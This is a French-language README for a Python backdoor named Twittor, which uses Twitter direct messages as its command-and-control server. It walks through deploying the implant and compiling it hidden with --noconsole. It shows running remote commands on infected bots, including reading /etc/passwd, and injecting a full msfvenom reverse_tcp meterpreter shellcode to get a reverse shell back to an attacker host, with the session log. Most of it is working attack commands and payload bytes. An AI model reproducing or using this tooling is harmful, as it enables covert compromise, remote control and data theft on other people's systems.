
Un backdoor complet qui utilise Twitter comme serveur C&C
Un backdoor furtif basé sur Python qui utilise Twitter (Messages directs) comme serveur de commande et contrôle. Ce projet a été inspiré par Gcat qui fait la même chose mais en utilisant un compte Gmail.
Pour que cela fonctionne, vous avez besoin de :
Installez les dépendances :
$ pip install -r requirements.txt
Ce dépôt contient deux fichiers :
twittor.py qui est le clientimplant.py le véritable backdoor à déployerDans les deux fichiers, modifiez la partie jetons d'accès et ajoutez ceux que vous avez générés précédemment :
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'
Vous voudrez probablement compiler implant.py en un exécutable en utilisant Pyinstaller. Pour supprimer la console lors de la compilation avec Pyinstaller, les flags --noconsole --onefile vous aideront. Je dis ça, je dis rien.
Pour exécuter le client, lancez le script.
$ python twittor.py
Vous accéderez alors à un shell 'interactif' qui propose quelques commandes :
$ help
refresh - refresh C&C control
list_bots - list active bots
list_commands - list executed commands
!retrieve <jobid> - retrieve jobid command
!cmd <MAC ADDRESS> command - execute the command on the bot
!shellcode <MAC ADDRESS> shellcode - load and execute shellcode in memory (Windows only)
help - print this usage
exit - exit the client
$
$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$
La sortie est l'adresse MAC qui sert à identifier de manière unique le système mais donne également les informations sur le système d'exploitation sur lequel l'implant s'exécute. Dans ce cas, une machine Linux.
$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Sent command "cat /etc/passwd" with jobid: UMW07r2
$
Ici, nous disons à B7:76:1F:0B:50:B7 d'exécuter cat /etc/passwd, le script affiche ensuite le jobid que nous pouvons utiliser pour récupérer la sortie de cette commande.
$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)
La commande à utiliser dans ce cas est !retrieve suivie du jobid de la commande.
Pour récupérer les nouveaux bots/sorties de commandes mais aussi forcer le client à actualiser les résultats, utilisez la commande refresh.
$ refresh
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
$
Cela enverra une requête PING et attendra 10 secondes qu'ils répondent. Les messages directs seront ensuite analysés - La liste des bots sera actualisée mais aussi la liste des commandes, y compris les nouvelles sorties de commandes.
Comme je l'ai dit plus tôt, les commandes (précédentes) seront récupérées à partir des messages directs plus anciens (limite de 200) et vous pouvez effectivement les récupérer/voir en utilisant la commande list_commands
$ list_commands
8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1
$
Cette option peut être pratique pour récupérer une session meterpreter et cet article devient très utile.
Générez votre shellcode meterpreter, comme :
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
(...)
Payload size: 299 bytes
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"
buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
Extrayez le shellcode et envoyez-le au bot spécifié en utilisant la commande !shellcode !
$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
[+] Sent shellcode with jobid: xdr7mtN
$
Et voilà !
msf exploit(handler) > exploit
[*] Started reverse handler on 10.0.0.1:3615
[*] Starting the payload handler...
[*] Sending stage (884270 bytes) to 10.0.0.99
[*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -0400
meterpreter > getuid
Server username: WIN-XXXXXXXXX\PaulSec
Ouvrez une bière et profitez de votre shell meterpreter inversé.
Le projet est entièrement open source et publié sous licence MIT. Je voulais surtout créer une PoC après que Twitter a décidé de supprimer la limite de 140 caractères pour les Messages directs. Quelques éléments devraient être ajoutés, comme le chiffrement (Ajouter AES par-dessus). Les "Messages" utilisent une structure de données de dictionnaire et la commande entière est uniquement encodée en base64. Forkez le projet, contribuez, soumettez des pull requests et amusez-vous.
Si vous trouvez un bug, ouvrez une issue sur Github et/ou pingez-moi sur Twitter.
Encore une fois, n'hésitez pas à consulter le projet incroyable Gcat de byt3bl33d3r qui m'a beaucoup inspiré.